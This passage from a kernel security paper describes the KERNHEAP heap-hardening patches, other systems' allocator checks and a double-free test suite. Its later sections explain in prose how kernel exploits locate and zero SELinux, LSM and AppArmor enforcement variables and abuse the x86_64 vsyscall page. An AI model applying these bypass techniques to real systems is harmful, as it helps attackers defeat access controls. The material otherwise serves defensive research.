[<c0889a81>] __slab_error+0x1a/0x1c [<c088aee9>] cache_free_debugcheck+0x137/0x1f5 [<c088ba14>] kfree+0x9d/0xd2

[<c0802f22>] syscall_call+0x7/0xb

df2e42e0: redzone 1:0x9f911029d74e35b, redzone 2:0x9f911029d74e35b.

The debugging facilities of SLAB and SLUB provide a redzone‑based approach to detect the first scenario, but introduce a performance impact while being useless security‑wise, since the system won't halt and the state of the allocator will be left unstable. Therefore, their value is only informational and useful for debugging purposes, not as a security measure. The redzone values are also static.

The other approach taken by the debugging facilities is poisoning, as mentioned in the previous subsection. An object is 'poisoned' with a value, which can be checked at different places to detect if the object is being used uninitialized or post‑release. This rudimentary but effective method is implemented upstream in a manner which makes it inefficient for security purposes.

Currently, upstream poisoning is clearly oriented to debugging. It writes a single‑byte pattern in the whole object space, marking the end with a known value. This incurs in a significant performance impact.

KERNHEAP performs the following safety checks at the time of this writing:

1. During cache destruction:

a) The guard value is verified.

b) The entire cache is walked, verifying the freelists for potential corruption. Reference counters, guards, validity of pointers and other structures are checked. If any mismatch is found, a system halt ensues.

c) The pointer to the cache itself is changed to ZERO_SIZE_PTR. This should not affect any well behaving (that is, not broken) kernel code.

2. After successful kfree, a word value is written to the memory and pointer location is changed to ZERO_SIZE_PTR. This will trigger a distinctive page fault if the pointer is accessed again somewhere. Currently this operation could be invasive for drivers or code with dubious coding practices.

3. During allocation, if the word value at the start of the to‑be‑returned object doesn't match our post‑free value, a system halt ensues.

The object‑level guard values (equivalent to the redzoning) are calculated on runtime. This deters bypassing of the checks via fake objects, resulting from a slab overflow scenario. It does introduce a low performance impact on setup and verification, minimized by the use of inline functions, instead of external definitions like those used for some of the more general cache checks.

The effectiveness of the reference counter checks is orthogonal to the deployment of PaX's REFCOUNT, which protects many object reference counters against overflows (including SLAB/SLUB).

Safe unlinking is enforced in all LIST_HEAD based linked lists, which obviously includes the partial/empty/full lists for SLAB and several other structures (including the freelists) in other allocators. If a corrupted entry is being unlinked, a system halt is forced. The values used for list pointer poisoning have been changed to point non‑userland‑reachable addresses (this change has been taken from PaX).

The use‑after‑free and double‑free detection mechanisms in KERNHEAP are still under development, and it's very likely that substantial design changes will occur after the release of this paper.

‑‑‑[ 3.3 Overview of NetBSD and OpenBSD kernel heap safety checks

At the moment KERNHEAP exclusively covers the Linux kernel, but it is interesting to observe the approaches taken by other projects to detect kernel heap integrity issues. In this section we will briefly analyze the NetBSD and OpenBSD kernels, which are largely the same code base in regards of kernel malloc implementation and diagnostic checks.

Both currently implement rudimentary but effective measures to detect use‑after‑free and double‑free scenarios, albeit these are only enabled as part of the DIAGNOSTIC and DEBUG configurations.

The following source code is taken from NetBSD 4.0 and should be almost identical to OpenBSD. Their approach to detect use‑after‑free relies on copying a known 32‑bit value (WEIRD_ADDR, from kern/kern_malloc.c):

/*

* The WEIRD_ADDR is used as known text to copy into free objects so * that modifications after frees can be detected. */

#defineWEIRD_ADDR((uint32_t) 0xdeadbeef)

...

void *malloc(unsigned long size, struct malloc_type *ksp, int flags) ...

{

...

#ifdef DIAGNOSTIC

/*

* Copy in known text to detect modification

* after freeing.

*/

end = (uint32_t *)&cp[copysize];

for (lp = (uint32_t *)cp; lp < end; lp++)

*lp = WEIRD_ADDR;

freep‑>type = M_FREE;

#endif /* DIAGNOSTIC */

The following checks are the counterparts in free(), which call panic() when the checks fail, causing a system halt (this obviously has a better security benefit than just the information approach taken by Linux's SLAB diagnostics):

#ifdef DIAGNOSTIC

...

if (__predict_false(freep‑>spare0 == WEIRD_ADDR)) { for (cp = kbp‑>kb_next; cp;

cp = ((struct freelist *)cp)‑>next) { if (addr != cp) continue; printf("multiply freed item %p\n", addr); panic("free: duplicated free"); }

}

...

copysize = size < MAX_COPY ? size : MAX_COPY; end = (int32_t *)&((caddr_t)addr)[copysize]; for (lp = (int32_t *)addr; lp < end; lp++) *lp = WEIRD_ADDR;

freep‑>type = ksp;

#endif /* DIAGNOSTIC */

Once the object is released, the 32‑bit value is copied, along the type information to detect the potential origin of the problem. This should be enough to catch basic forms of freelist corruption.

It's worth noting that the freelist_sanitycheck() function provides integrity checking for the freelist, but is enclosed in an ifdef 0 block.

The problem affecting these diagnostic checks is the use of known values, as much as Linux's own SLAB redzoning and poisoning might be easily bypassed in a deliberate attack scenario. It still remains slightly more effective due to the system halt enforcing upon detection, which isn't present in Linux.

Other sanity checks are done with the reference counters in free():

if (ksp‑>ks_inuse == 0)

panic("free 1: inuse 0, probable double free");

And validating (with a simple address range test) if the pointer being freed looks sane:

if (__predict_false((vaddr_t)addr < vm_map_min(kmem_map) || (vaddr_t)addr >= vm_map_max(kmem_map))) panic("free: addr %p not within kmem_map", addr);

Ultimately, users of either NetBSD or OpenBSD might want to enable KMEMSTATS or DIAGNOSTIC configurations to provide basic protection against heap corruption in those systems.

‑‑‑[ 3.4 Microsoft Windows 7 kernel pool allocator safe unlinking

In 26 May 2009, a suspiciously timed article was published by Peter Beck from the Microsoft Security Engineering Center (MSEC) Security Science team, about the inclusion of safe unlinking into the Windows 7 kernel pool (the equivalent to the slab allocators in Linux).

This has received a deal of publicity for a change which accounts up to two lines of effective code, and surprisingly enough, was already present in non‑retail versions of Vista. In addition, safe unlinking has been present in other heap allocators for a long time: in the GNU libc since at least 2.3.5 (proposed by Stefan Esser originally to Solar Designer for the Owl libc) and the Linux kernel since 2006 (CONFIG_DEBUG_LIST).

While it is out of scope for this paper to explain the internals of the Windows kernel pool allocator, this section will provide a short overview of it. For true insight the slides by Kostya Kortchinsky, "Exploiting Kernel Pool Overflows" [14], can provide a through look at it from a sound security perspective.

The allocator is very similar to SLAB and the API to obtain allocations and release them is straightforward (nt!ExAllocatePool(WithTag), nt!ExFreePool(WithTag) and so forth). The default pools (sort of a kmem_cache equivalent) are the (two) paged, non‑paged and session paged ones. Non‑paged for physical memory allocations and paged for pageable memory. The structure defining a pool can be seen below:

kd> dt nt!_POOL_DESCRIPTOR

+0x000 PoolType : _POOL_TYPE

+0x004 PoolIndex : Uint4B

+0x008 RunningAllocs : Uint4B

+0x00c RunningDeAllocs : Uint4B

+0x010 TotalPages : Uint4B

+0x014 TotalBigPages : Uint4B

+0x018 Threshold : Uint4B

+0x01c LockAddress : Ptr32 Void

+0x020 PendingFrees : Ptr32 Void

+0x024 PendingFreeDepth : Int4B

+0x028 ListHeads : [512] _LIST_ENTRY

The most important member in the structure is ListHeads, which contains 512 linked lists, to hold the free chunks. The granularity of the allocator is 8 bytes for Windows XP and up, and 32 bytes for Windows 2000. The maximum allocation size possible is 4080 bytes. LIST_ENTRY is exactly the same as LIST_HEAD in Linux.

Each chunk contains a 8 byte header. The chunk header is defined as follows for Windows XP and up:

kd> dt nt!_POOL_HEADER

+0x000 PreviousSize : Pos 0, 9 Bits +0x000 PoolIndex : Pos 9, 7 Bits +0x002 BlockSize : Pos 0, 9 Bits +0x002 PoolType : Pos 9, 7 Bits +0x000 Ulong1 : Uint4B

+0x004 ProcessBilled : Ptr32 _EPROCESS +0x004 PoolTag : Uint4B

+0x004 AllocatorBackTraceIndex : Uint2B +0x006 PoolTagHash : Uint2B

The PreviousSize contains the value of the BlockSize of the previous chunk, or zero if it's the first. This value could be checked during unlinking for additional safety, but this isn't the case (their checks are limited to validity of prev/next pointers relative to the entry being deleted). PooType is zero if free, and PoolTag contains four printable characters to identify the user of the allocation. This isn't authenticated nor verified in any way, therefore it is possible to provide a bogus tag to one of the allocation or free APIs.

For small allocations, the pool allocator uses lookaside caches, with a maximum BlockSize of 256 bytes.

Kostya's approach to abuse pool allocator overflows involves the classic write‑4 primitive through unlinking of a fake chunk under his control. For the rest of information about the allocator internals, please refer to his excellent slides [14].

The minimal change introduced by Microsoft to enable safe unlinking in Windows 7 was already present in Vista non‑retail builds, thus it is likely that the announcement was merely a marketing exercise. Furthermore, Beck states that this allows to detect "memory corruption at the earliest opportunity", which isn't necessarily correct if they had pursued a more complete solution (for example, verifying that pointers belong to actual freelist chunks). Those might incur in a higher performance overhead, but provide far more consistent protection.

The affected API is RemoveEntryList(), and the result of unlinking an entry with incorrect prev/next pointers will be a BugCheck:

Flink = Entry‑>Flink;

Blink = Entry‑>Blink;

if (Flink‑>Blink != Entry) KeBugCheckEx(...);

if (Blink‑>Flink != Entry) KeBugCheckEx(...);

It's unlikely that there will be further changes to the pool allocator for Windows 7, but there's still time for this to change before release date.

‑‑‑‑‑‑[ 4. Sanitizing memory of the look‑aside caches

The objects and data contained in slabs allocated within the kmem caches could be of sensitive nature, including but not limited to: cryptographic secrets, PRNG state information, network information, userland credentials and potentially useful internal kernel state information to leverage an attack (including our guards or cookie values).

In addition, neither kfree() nor kmalloc() zero memory, thus allowing the information to stay there for an indefinite time, unless they are overwritten after the space is claimed in an allocation procedure. This is a security risk by itself, since an attacker could essentially rely on this condition to "spray" the kernel heap with his own fake structures or machine instructions to further improve the reliability of his attack.

PaX already provides a feature to sanitize memory upon release, at a performance cost of roughly 3%. This an opt‑all policy, thus it is not possible to choose in a fine‑grained manner what memory is sanitized and what isn't. Also, it works at the lowest level possible, the page allocator. While this is a safe approach and ensures that all allocated memory is properly sanitized, it is desirable to be able to opt‑in voluntarily to have your newly allocated memory treated as sensitive.

Hence, a GFP_SENSITIVE flag has been introduced. While a security conscious developer could zero memory on his own, the availability of a flag to assure this behavior (as well as other enhancements and safety checks) is convenient. Also, the performance cost is negligible, if any, since the flag could be applied to specific allocations or caches altogether.

The low level page allocator uses a PF_sensitive flag internally, with the associated SetPageSensitive, ClearPagesensitiv and PageSensitive macros. These changes have been introduced in the linux/page‑flags.h header and mm/page_alloc.c.

SLAB / kmalloc layer Low‑level page allocator include/linux/slab.h include/linux/page‑flags.h

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| SLAB_SENSITIVE | ‑>| PG_sensitive |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑. |

| | SetPageSensitive

| +‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ | ClearPageSensitive

\‑‑‑> | GFP_SENSITIVE |‑/ |‑> PageSensitive

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

This will prevent the aforementioned leak of information post‑release, and provide an easy to use mechanism for third‑party developers to take advantage of the additional assurance provided by this feature.

In addition, another loophole that has been removed is related with situations in which successive allocations are done via kmalloc(), and the information is still accessible through the newly allocated object. This happens when the slab is never released back to the page allocator, since slabs can live for an indefinite amount of time (there's no assurance as to when the cache will go through shrinkage or reaping). Upon release, the cache can be checked for the SLAB_SENSITIVE flag, the page can be checked for the PG_sensitive bit, and the allocation flags can be checked for GFP_SENSITIVE.

Currently, the following interfaces have been modified to operate with this flag when appropriate:

‑ IPC kmem cache

‑ Cryptographic subsystem (CryptoAPI)

‑ TTY buffer and auditing API

‑ WEP encryption and decryption in mac80211 (key storage only) ‑ AF_KEY sockets implementation

‑ Audit subsystem

The RBAC engine in grsecurity can be modified to add support for enabling the sensitive memory flag per‑process. Also, a group id based check could be added, configurable via sysctl. This will allow fine‑grained policy or group based deployment of the current and future benefits of this flag. SELinux and any other policy based security frameworks could benefit from this feature as well.

This patchset has been proposed to the mainline kernel developers as of May 21st 2009 (see http://patchwork.kernel.org/patch/25062). It

received feedback from Alan Cox and Rik van Riel and a different approach was used after some developers objected to the use of a page flag, since the functionality can be provided to SLAB/SLUB allocators and the VMA interfaces without the use of a page flag. Also, the naming changed to CONFIDENTIAL, to avoid confusion with the term 'sensitive'.

Unfortunately, without a page bit, it's impossible to track down what pages shall be sanitized upon release, and provide fine‑grained control over these operations, making the gfp flag almost useless, as well as other interesting features, like sanitizing pages locked via mlock(). The mainline kernel developers oppose the introduction of a new page flag, even though SLUB and SLOB introduced their own flags when they were merged, and this wasn't frowned upon in such cases. Hopefully this will change in the future, and allow a more complete approach to be merged in mainline at some point.

Despite the fact that Ingo Molnar, Pekka Enberg and Peter Zijlstra completely missed the point about the initially proposed patches, new ones performing selective sanitization were sent following up their recommendations of a completely flawed approach. This case serves as a good example of how kernel developers without security knowledge nor experience take decisions that negatively impact conscious users of the Linux kernel as a whole.

Hopefully, in order to provide a reliable protection, the upstream approach will finally be selective sanitization using kzfree(), allowing us to redefine it to kfree() in the appropriate header file, and use something that actually works. Fixing a broken implementation is an undesirable burden often found when dealing with the 2.6 branch of the kernel, as usual.

‑‑‑‑‑‑[ 5. Deterrence of IPC based kmalloc() overflow exploitation

In addition to the rest of the features which provide a generic protection against common scenarios of kernel heap corruption, a modification has been introduced to deter a specific local attack for abusing kmalloc() overflows successfully. This technique is currently the only public approach to kernel heap buffer overflow exploitation and relies on the following circumstances:

1. The attacker has local access to the system and can use the IPC subsystem, more specifically, create, destroy and perform operations on semaphores.

2. The attacker is able to abuse a allocate‑overflow‑free situation which can be leveraged to overwrite adjacent objects, also allocated via kmalloc() within the same kmem cache.

3. The attacker can trigger the overflow in the right timing to ensure that the adjacent object overwritten is under his control. In this case, the shmid_kernel structure (used internally within the IPC subsystem), leading to a userland pointer dereference, pointing at attacker controlled structures.

4. Ultimately, when these attacker controlled structures are used by the IPC subsystem, a function pointer is called. Since the attacker controls this information, this is essentially a game‑over scenario. The kernel will execute arbitrary code of the attacker's choice and this will lead to elevation of privileges.

Currently, PaX UDEREF [8] on x86 provides solid protection against (3) and (4). The attacker will be unable to force the kernel into executing instructions located in the userland address space. A specific class of vulnerabilities, kernel NULL pointer deferences (which were, for a long time, overlooked and not considered exploitable by most of the public players in the security community, with few exceptions) were mostly eradicated (thanks to both UDEREF and further restrictions imposed on mmap(), later implemented by Red Hat and accepted into mainline, albeit containing flaws which made the restriction effectively useless).

On systems where using UDEREF is unbearable for performance or functionality reasons (for example, virtualization), a workaround to harden the IPC subsystem was necessary. Hence, a set of simple safety checks were devised for the shmid_kernel structure, and the allocation helper functions have been modified to use their own private cache.

The function pointer verification checks if the pointers located within the file structure, are actually addresses within the kernel text range (including modules).

The internal allocation procedures of the IPC code make use of both vmalloc() and kmalloc(), for sizes greater than a page or lower than a page, respectively. Thus, the size for the cache objects is PAGE_SIZE, which might be suboptimal in terms of memory space, but does not impact performance. These changes have been tested using the IBM ipc_stress test suite distributed in the Linux Test Project sources, with successful results (can be obtained from http://ltp.sourceforge.net).

‑‑‑‑‑‑[ 6. Prevention of copy_to_user() and copy_from_user() abuse

A vast amount of kernel vulnerabilities involving information leaks to userland, as well as buffer overflows when copying data from userland, are caused by signedness issues (meaning integer overflows, reference counter overflows, et cetera). The common scenario is an invalid integer passed to the copy_to_user() or copy_from_user() functions.

During the development of KERNHEAP, a question was raised about these functions: Is there a existent, reliable API which allows retrieval of the target buffer information in both copy‑to and copy‑from scenarios?

Introducing size awareness in these functions would provide a simple, yet effective method to deter both information leaks and buffer overflows through them. Obviously, like in every security system, the effectiveness of this approach is orthogonal to the deployment of other measures, to prevent potential corner cases and rare situations useful for an attacker to bypass the safety checks.

The current kernel heap allocators (including SLOB) provide a function to retrieve the size of a slab object, as well as testing the validity of a pointer to see if it's within the known caches (excluding SLOB which required this function to be written since it's essentially a no‑op in upstream sources). These functions are ksize() and kmem_validate_ptr() respectively (in each pertinent allocator source: mm/slab.c, mm/slub.c and mm/slob.c).

In order to detect whether a buffer is stack or heap based in the kernel, the object_is_on_stack() function (from include/linux/sched.h) can be used. The drawback of these functions is the computational cost of looking up the page where this buffer is located, checking its validity wherever applicable (in the case of kmem_validate_ptr() this involves validating against a known cache) and performing other tasks to determine the validity and properties of the buffer. Nonetheless, the performance impact might be negligible and reasonable for the additional assurance provided with these changes.

Brad Spengler devised this idea, developed and introduced the checks into the latest test patches as of April 27th (test10 to test11 from PaX and the grsecurity counterparts for the current kernel stable release, 2.6.29.1).

A reliable method to detect stack‑based objects is still being considered for implementation, and might require access to meta‑data used for debuggers or future GCC built‑ins.

‑‑‑‑‑‑[ 7. Prevention of vsyscall overwrites on x86_64

This technique is used in sgrakkyu's exploit for CVE‑2009‑0065. It involves overwriting a x86_64 specific location within a top memory allocated page, containing the vsyscall mapping. This mapping is used to implement a high performance entry point for the gettimeofday() system call, and other functionality.

An attacker can target this mapping by means of an arbitrary write‑N primitive and overwrite the machine instructions there to produce a reliable return vector, for both remote and local attacks. For remote attacks the attacker will likely use an offset‑aware approach for reliability, but locally it can be used to execute an offset‑less attack, and force the kernel into dereferencing userland memory. This is problematic since presently PaX does not support UDEREF on x86_64 and the performance cost of its implementation could be significant, making abuse a safe bet even against hardened environments.

Therefore, contrary to past popular belief, x86_64 systems are more exposed than i386 in this regard.

During conversations with the PaX Team, some difficulties came to attention regarding potential approaches to deter this technique:

1. Modifying the location of the vsyscall mapping will break compatibility. Thus, glibc and other userland software would require further changes. See arch/x86/kernel/vmlinux_64.lds.S and arch/x86/kernel/vsyscall_64.c

2. The vsyscall page is defined within the ld linked script for x86_64 (arch/x86/kernel/vmlinux_64.lds.S). It is defined by default (as of 2.6.29.3) within the boundaries of the .data section, thus writable for the kernel. The userland mapping is read‑execute only.

3. Removing vsyscall support might have a large performance impact on applications making extensive use of gettimeofday().

4. Some data has to be written in this region, therefore it can't be permanently read‑only.

PaX provides a write‑protect mechanism used by KERNEXEC, together with its definition for an actual working read‑only .rodata implementation. Moving the vsyscall within the .rodata section provides reliable protection against this technique. In order to prevent sections from overlapping, some changes had to be introduced, since the section has to be aligned to page size. In non‑PaX kernels, .rodata is only protected if the CONFIG_DEBUG_RODATA option is enabled.

The PaX Team solved {4} using pax_open_kernel() and pax_close_kernel() to allow writes temporarily. This has some performance impact but is most likely far lower than removing vsyscall support completely.

This deters abuse of the vsyscall page on x86_64, and prevents offset‑based remote and offset‑less local exploits from leveraging a reliable attack against a kernel vulnerability. Nonetheless, protection against this venue of attack is still work in progress.

‑‑‑‑‑‑[ 8. Developing the right regression testsuite for KERNHEAP

Shortly after the initial development process started, it became evident that a decent set of regression tests was required to check if the implementation worked as expected. While using single loadable modules for each test was a straightforward solution, in the longterm, having a real tool to perform thorough testing seemed the most logical approach.

Hence, KHTEST has been developed. It's composed of a kernel module which communicates to a userland Python program over Netlink sockets. The ctypes API is used to handle the low level structures that define commands and replies. The kernel module exposes internal APIs to the userland process, such as:

‑ kmalloc

‑ kfree

‑ memset and memcpy

‑ copy_to_user and copy_from_user

Using this interface, allocation and release of kernel memory can be controlled with a simple Python script, allowing efficient development of testcases:

e = KernHeapTester()

addr = e.kmalloc(size)

e.kfree(addr)

e.kfree(addr)

When this test runs on an unprotected 2.6.29.2 system (SLAB as allocator, debugging capabilities enabled) the following output can be observed in the kernel message buffer, with a subsequent BUG on cache reaping:

KERNHEAP test‑suite loaded.

run_cmd_kmalloc: kmalloc(64, 000000b0) returned 0xDF1BEC30 run_cmd_kfree: kfree(0xDF1BEC30)

run_cmd_kfree: kfree(0xDF1BEC30)

slab error in verify_redzone_free(): cache `size‑64': double free detected Pid: 3726, comm: python Not tainted 2.6.29.2‑grsec #1 Call Trace:

[<c0889a81>] __slab_error+0x1a/0x1c

[<c088aee9>] cache_free_debugcheck+0x137/0x1f5 [<e082f25c>] ? run_cmd_kfree+0x1e/0x23 [kernheap_test] [<c088ba14>] kfree+0x9d/0xd2

[<e082f25c>] run_cmd_kfree+0x1e/0x23

kernel BUG at mm/slab.c:2720!

invalid opcode: 0000 [#1] SMP

last sysfs file: /sys/kernel/uevent_seqnum

Pid: 10, comm: events/0 Not tainted (2.6.29.2‑grsec #1) VMware Virtual Platform EIP: 0060:[<c088ac00>] EFLAGS: 00010092 CPU: 0

EIP is at slab_put_obj+0x59/0x75

EAX: 0000004f EBX: df1be000 ECX: c0828819 EDX: c197c000 ESI: 00000021 EDI: df1bec28 EBP: dfb3deb8 ESP: dfb3de9c DS: 0068 ES: 0068 FS: 00d8 GS: 0000 SS: 0068 Process events/0 (pid: 10, ti=dfb3c000 task=dfb3ae30 task.ti=dfb3c000) Stack:

c0bc24ee c0bc1fd7 df1bec28 df800040 df1be000 df8065e8 df800040 dfb3dee0 c088b42d 00000000 df1bec28 00000000 00000001 df809db4 df809db4 00000001 df809d80 dfb3df00 c088be34 00000000 df8065e8 df800040 df8065e8 df800040 Call Trace:

[<c088b42d>] ? free_block+0x98/0x103 [<c088be34>] ? drain_array+0x85/0xad [<c088beba>] ? cache_reap+0x5e/0xfe

[<c083586a>] ? run_workqueue+0xc4/0x18c [<c088be5c>] ? cache_reap+0x0/0xfe

[<c0838593>] ? kthread+0x0/0x59

[<c0803717>] ? kernel_thread_helper+0x7/0x10

The following code presents a more complex test to evaluate a double‑free situation which will put a random kmalloc cache into an unpredictable state:

e = KernHeapTester()

addrs = []

kmalloc_sizes = [ 32, 64, 96, 128, 196, 256, 1024, 2048, 4096]

i = 0

while i < 1024:

addr = e.kmalloc(random.choice(kmalloc_sizes)) addrs.append(addr)

i += 1

random.seed(os.urandom(32))

random.shuffle(addrs)

e.kfree(random.choice(addrs))

random.shuffle(addrs)

for addr in addrs:

e.kfree(addr)

On a KERNHEAP protected host:

Kernel panic ‑ not syncing: KERNHEAP: Invalid kfree() in (objp df38e000) by python:3643, UID:0 EUID:0

The testsuite sources (including both the Python module and the LKM for the 2.6 series, tested with 2.6.29) are included along this paper. Adding support for new kernel APIs should be a trivial task, requiring only modification of the packet handler and the appropriate addition of a new command structure. Potential improvements include the use of a shared memory page instead of Netlink responses, to avoid impacting the allocator state or conflict with our tests.

‑‑‑‑‑‑[ 9. The Inevitability of Failure

In 1998, members (Loscocco, Smalley et. al) of the Information Assurance Group at the NSA published a paper titled "The Inevitability of Failure: The Flawed Assumption of Security in Modern Computing Environments" [12].

The paper explains how modern computing systems lacked the necessary features and capabilities for providing true assurance, to prevent compromise of the information contained in them. As systems were becoming more and more connected to networks, which were growing exponentially, the exposure of these systems grew proportionally. Therefore, the state of art in security had to progress in a similar pace.

From an academic standpoint, it is interesting to observe that more than 10 years later, the state of art in security hasn't evolved dramatically, but threats have gone well beyond the initial expectations.

"Although public awareness of the need for security in computing systems is growing rapidly, current efforts to provide security are unlikely to succeed. Current security efforts suffer from the flawed assumption that adequate security can be provided in applications with the existing security mechanisms of mainstream operating systems. In reality, the need for secure operating systems is growing in today's computing environment due to substantial increases in connectivity and data sharing." Page 1, [12]

Most of the authors of this paper were involved in the development of the Flux Advanced Security Kernel (FLASK), at the University of Utah. Flask itself has its roots in an original joint project of the then known as Secure Computing Corporation (SCC) (acquired by McAfee in 2008) and the National Security Agency, in 1992 and 1993, the Distributed Trusted Operating System (DTOS). DTOS inherited the development and design ideas of a previous project named DTMach (Distributed Trusted Match) which aimed to introduce a flexible access control framework into the GNU Mach microkernel. Type Enforcement was first introduced in DTMach, superseded in Flask with a more flexible design which allowed far greater granularity (supporting mixing of different types of labels, beyond only types, such as sensitivity, roles and domains).

Type Enforcement is a simple concept: a Mandatory Access Control (MAC) takes precedence over a Discretionary Access Control (DAC) to contain subjects (processes, users) from accessing or manipulating objects (files, sockets, directories), based on the decision made by the security system upon a policy and subject's attached security context. A subject can undergo a transition from one security context to another (for example, due to role change) if it's explicitly allowed by the policy. This design allows fine‑grained, albeit complex, decision making.

Essentially, MAC means that everything is forbidden unless explicitly allowed by a policy. Moreover, the MAC framework is fully integrated into the system internals in order to catch every possible data access situation and store state information.

The true benefits of these systems could be exercised mostly in military or government environments, where models such as Multi‑Level Security (MLS) are far more applicable than for the general public.

Flask was implemented in the Fluke research operating system (using the OSKit framework) and ultimately lead to the development of SELinux, a modification of the Linux kernel, initially standalone and ported afterwards to use the Linux Security Modules (LSM) framework when its inclusion into mainline was rejected by Linus Tordvals. Flask is also the basis for TrustedBSD and OpenSolaris FMAC. Apple's XNU kernel, albeit being largely based off FreeBSD (which includes TrustedBSD modifications since 6.0) decided to implement its own security mechanism (non‑MAC) known as Seatbelt, with its own policy language.

While the development of these systems represents a significant step towards more secure operating systems, without doubt, the real‑world perspective is of a slightly more bleak nature. These systems have steep learning curves (their policy languages are powerful but complex, their nature is intrinsically complicated and there's little freely available support for them, plus the communities dedicated to them are fairly small and generally oriented towards development), impose strict restrictions to the system and applications, and in several cases, might be overkill to the average user or administrator.

A security system which requires (expensive, length) specialized training is dramatically prone to being disabled by most of its potential users. This is the reality of SELinux in Fedora and other systems. The default policies aren't realistic and users will need to write their own modules if they want to use custom software. In addition, the solution to this problem was less then suboptimal: the targeted (now modular) policy was born.

The SELinux targeted policy (used by default in Fedora 10) is essentially a contradiction of the premises of MAC altogether. Most applications run under the unconfined_t domain, while a small set of daemons and other tools run confined under their own domains. While this allows basic, usable security to be deployed (on a related note, XNU Seatbelt follows a similar approach, although unsuccessfully), its effectiveness to stop determined attackers is doubtful.

For instance, the Apache web server daemon (httpd) runs under the httpd_t domain, and is allowed to access only those files labeled with the httpd_sys_content_t type. In a PHP local file include scenario this will prevent an attacker from loading system configuration files, but won't prevent him from reading passwords from a PHP configuration file which could provide credentials to connect to the back‑end database server, and further compromise the system by obtaining any access information stored there. In a relatively more complex scenario, a PHP code execution vulnerability could be leveraged to access the apache process file descriptors, and perhaps abuse a vulnerability to leak memory or inject code to intercept requests. Either way, if an attacker obtains unconfined_t access, it's a game over situation. This is acknowledged in [13], along an interesting citation about the managerial decisions that lead to the targeted policy being developed:

"SELinux can not cause the phones to ring" "SELinux can not cause our support costs to rise." Strict Policy Problems, slide 5. [13]

‑‑‑[ 9.1 Subverting SELinux and the audit subsystem

Fedora comes with SELinux enabled by default, using the targeted policy. In remote and local kernel exploitation scenarios, disabling SELinux and the audit framework is desirable, or outright necessary if MLS or more restrictive policies are used.

In March 2007, Brad Spengler sent a message to a public mailing‑list, announcing the availability of an exploit abusing a kernel NULL pointer dereference (more specifically, an offset from NULL) which disabled all LSM modules atomically, including SELinux. tee42‑24tee.c exploited a vulnerability in the tee() system call, which was silently fixed by Jens Axboe from SUSE (as "[patch 25/45] splice: fix problems with sys_tee()").

Its approach to disable SELinux locally was extremely reliable and simplistic at the same. Once the kernel continues execution at the code in userland, using shellcode is unnecessary. This applies only to local exploits normally, and allows offset‑less exploitation, resulting in greater reliability. All the LSM disabling logic in tee42‑24tee.c is written in C which can be easily integrated in other local exploits.

The disable_selinux() function has two different stages independent of each other. The first finds the selinux_enabled 32‑bit integer, through a linear memory search that seeks for a cmp opcode within the selinux_ctxid_to_string() function (defined in selinux/exports.c and present only in older kernels). In current kernels, a suitable replacement is the selinux_string_to_sid() function.

Once the address to selinux_enabled is found, its value is set to zero. this is the first step towards disabling SELinux. Currently, additional targets should be selinux_enforcing (to disable enforcement mode) and selinux_mls_enabled.

The next step is the atomic disabling of all LSM modules. This stage also relies on an finding an old function of the LSM framework, unregister_security(), which replaced the security_ops with dummy_security_ops (a set of default hooks that perform simple DAC without any further checks), given that the current security_ops matched the ops parameter.

This function has disappeared in current kernels, but setting the security_ops to default_security_ops achieves the same effect, and it should be reasonably easy to find another function to use as reference in the memory search. This change was likely part of the facelift that LSM underwent to remove the possibility of using the framework in loadable kernel modules.

With proper fine‑tuning and changes to perform additional opcode checks, recent kernels should be as easy to write a SELinux/LSM disabling functionality that works across different architectures.

For remote exploitation, a typical offset‑based approach like that used in sgraykku's sctp_houdini.c exploit (against x86_64) should be reliable and painless. Simply write a zero value to selinux_enforcing, selinux_enabled and selinux_mls_enabled (albeit the first is well enough). Further more, if we already know the address of security_ops and default_security_ops, we can disable LSMs altogether that way too.

If an attacker has enough permissions to control a SCTP listener or run his own, then remote exploitation on x86_64 platforms can be made completely reliable against unknown kernels through the use of the vsyscall exploitation technique, to return control to the attacker controller listener in a previous mapped ‑fixed‑ address of his choice. In this scenario, offset‑less SELinux/LSM disabling functionality can be used.

Fortunately, this isn't even necessary since most Linux distributions still ship with world‑readable /boot mount points, and their package managers don't do anything to solve this when new kernel packages are installed:

Ubuntu 8.04 (Hardy Heron)

‑rw‑r‑‑r‑‑ 1 root 413K /boot/abi‑2.6.24‑24‑generic ‑rw‑r‑‑r‑‑ 1 root 79K /boot/config‑2.6.24‑24‑generic ‑rw‑r‑‑r‑‑ 1 root 8.0M /boot/initrd.img‑2.6.24‑24‑generic ‑rw‑r‑‑r‑‑ 1 root 885K /boot/System.map‑2.6.24‑24‑generic ‑rw‑r‑‑r‑‑ 1 root 62M /boot/vmlinux‑debug‑2.6.24‑24‑generic ‑rw‑r‑‑r‑‑ 1 root 1.9M /boot/vmlinuz‑2.6.24‑24‑generic

Fedora release 10 (Cambridge)

‑rw‑r‑‑r‑‑ 1 root 84K /boot/config‑2.6.27.21‑170.2.56.fc10.x86_64 ‑rw‑‑‑‑‑‑‑ 1 root 3.5M /boot/initrd‑2.6.27.21‑170.2.56.fc10.x86_64.img ‑rw‑r‑‑r‑‑ 1 root 1.4M /boot/System.map‑2.6.27.21‑170.2.56.fc10.x86_64 ‑rwxr‑xr‑x 1 root 2.6M /boot/vmlinuz‑2.6.27.21‑170.2.56.fc10.x86_64

Perhaps, one easy step before including complex MAC policy based security frameworks, would be to learn how to use DAC properly. Contact your nearest distribution security officer for more information.

‑‑‑[ 9.2 Subverting AppArmor

Ubuntu and SUSE decided to bundle AppArmor (aka SubDomain) instead (Novell acquired Immunix in May 2005, only to lay off their developers in September 2007, leaving AppArmor development "open for the community"). AppArmor is completely different than SELinux in both design and implementation.

It uses pathname based security, instead of using filesystem object labeling. This represents a significant security drawback itself, since different policies can apply to the same object when it's accessed by different names. For example, through a symlink. In other words, the security decision making logic can be forced into using a less secure policy by accessing the object through a pathname that matches to an existent policy. It's been argued that labeling‑based approaches are due to requirements of secrecy and information containment, but in practice, security itself equals to information containment. Theory‑related discussions aside, this section will provide a basic overview on how AppArmor policy enforcement works, and some techniques that might be suitable in local and remote exploitation scenarios to disable it.

The most simple method to disable AppArmor is to target the 32‑bit integers used to determine if it's initialized or enabled. In case the system being targeted runs a stock kernel, the task of accessing these symbols is trivial, although an offset‑dependent exploit is certainly suboptimal:
